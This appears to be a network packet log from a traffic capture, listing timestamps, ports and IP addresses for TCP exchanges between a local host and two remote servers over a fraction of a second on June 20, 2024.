Jun 20, 2024 06:49:25.128914118 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129044056 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129091978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129105091 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129127026 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129177094 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129177094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129209042 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129230022 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129230976 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129241943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129270077 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129275084 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.129290104 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.129329920 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140012980 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140063047 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140095949 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140091896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140147924 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140172005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140172005 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140182972 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140202045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140230894 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.140232086 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140250921 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.140297890 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154082060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154133081 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154166937 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154165030 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154217005 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154233932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154233932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154261112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154267073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154300928 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154324055 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154335022 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154356956 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154367924 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154427052 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.154512882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154541969 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.154602051 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155158043 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155208111 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155229092 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155256987 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155261993 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155291080 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155323982 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155345917 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155359030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155388117 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.155416965 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155447006 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.155961990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156013966 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156028986 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.156048059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156096935 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.156096935 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156124115 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.156131983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156179905 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156196117 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.156198978 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156213045 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.156275034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159401894 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159452915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159470081 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159486055 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159521103 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159538031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159550905 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159604073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159636974 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159667969 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159698963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.159809113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159809113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159809113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.159809113 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.164684057 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164736986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164766073 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164813995 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164845943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164877892 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164908886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164941072 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.164968014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.164968014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.164968014 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.165060043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170233011 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170264959 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170298100 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170347929 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170380116 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170412064 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170444012 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.170445919 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170540094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170540094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170541048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170541048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.170541048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.174420118 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174482107 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174523115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174536943 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174556017 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174560070 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174568892 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174606085 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174626112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.174626112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.174626112 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.174721003 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.174741983 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.174937963 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179224968 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179254055 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179301977 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179335117 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179382086 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179398060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179410934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179409981 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179410934 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179410934 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179410934 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179425955 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.179553032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179553032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.179553032 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182084084 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182135105 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182168007 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182200909 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182250023 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182265043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182265043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182265043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182281971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182324886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182339907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182339907 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182341099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.182409048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.182409048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.186362028 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186409950 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186439037 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186484098 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.186490059 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186525106 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186551094 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.186557055 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186552048 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.186580896 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.186592102 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186737061 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.186827898 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.187362909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.188261032 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:25.190711021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190741062 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190788031 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190838099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190871954 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190903902 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190918922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.190918922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.190918922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.190918922 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.190936089 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190968990 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.190998077 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.190998077 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.191026926 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.192857027 CEST	49772	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:25.194968939 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.194998026 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195044041 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195092916 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195125103 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195156097 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195187092 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195199013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195199013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195199013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195199013 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195219040 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.195310116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195310116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.195310116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.197983027 CEST	50500	49772	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:25.200963974 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201011896 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201040030 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201046944 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201090097 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201113939 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201113939 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201123953 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201157093 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201174021 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201217890 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201440096 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201473951 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.201638937 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.201638937 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215197086 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215245962 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215275049 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215322971 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215354919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215388060 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215388060 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215456963 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215490103 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.215538979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215538979 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215539932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215539932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215539932 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.215615034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.220854998 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.220952034 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.220969915 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.220973969 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.220988035 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.221004009 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.221085072 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.221177101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.221177101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.221177101 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.231973886 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232023001 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232072115 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232103109 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232135057 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232151985 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.232152939 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.232186079 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232219934 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232223034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.232223034 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.232248068 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.232276917 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.232306957 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246040106 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246068954 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246118069 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246150970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246182919 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246215105 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246228933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246228933 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246229887 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246247053 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246279955 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246310949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246310949 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246345043 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246536970 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246570110 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246601105 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246629953 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246632099 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246675968 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246702909 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246761084 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246793032 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246825933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246851921 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246853113 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.246876955 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.246915102 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248085976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248117924 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248152018 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248167038 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248173952 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248215914 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248230934 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248264074 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248275995 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248296976 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248330116 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248343945 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.248348951 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.248399019 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251348019 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251398087 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251430988 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251468897 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251517057 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251565933 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251583099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251583099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251583099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251583099 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251597881 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251631021 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.251661062 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.251683950 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256613016 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256664991 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256695986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256731033 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256731987 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256759882 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256808996 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256809950 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256844044 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256875038 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256880045 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256906986 CEST	9000	49773	162.55.53.18	192.168.2.4
Jun 20, 2024 06:49:25.256923914 CEST	49773	9000	192.168.2.4	162.55.53.18
Jun 20, 2024 06:49:25.256943941 CEST	49773	9000	192.168.2.4	162.55.53.18
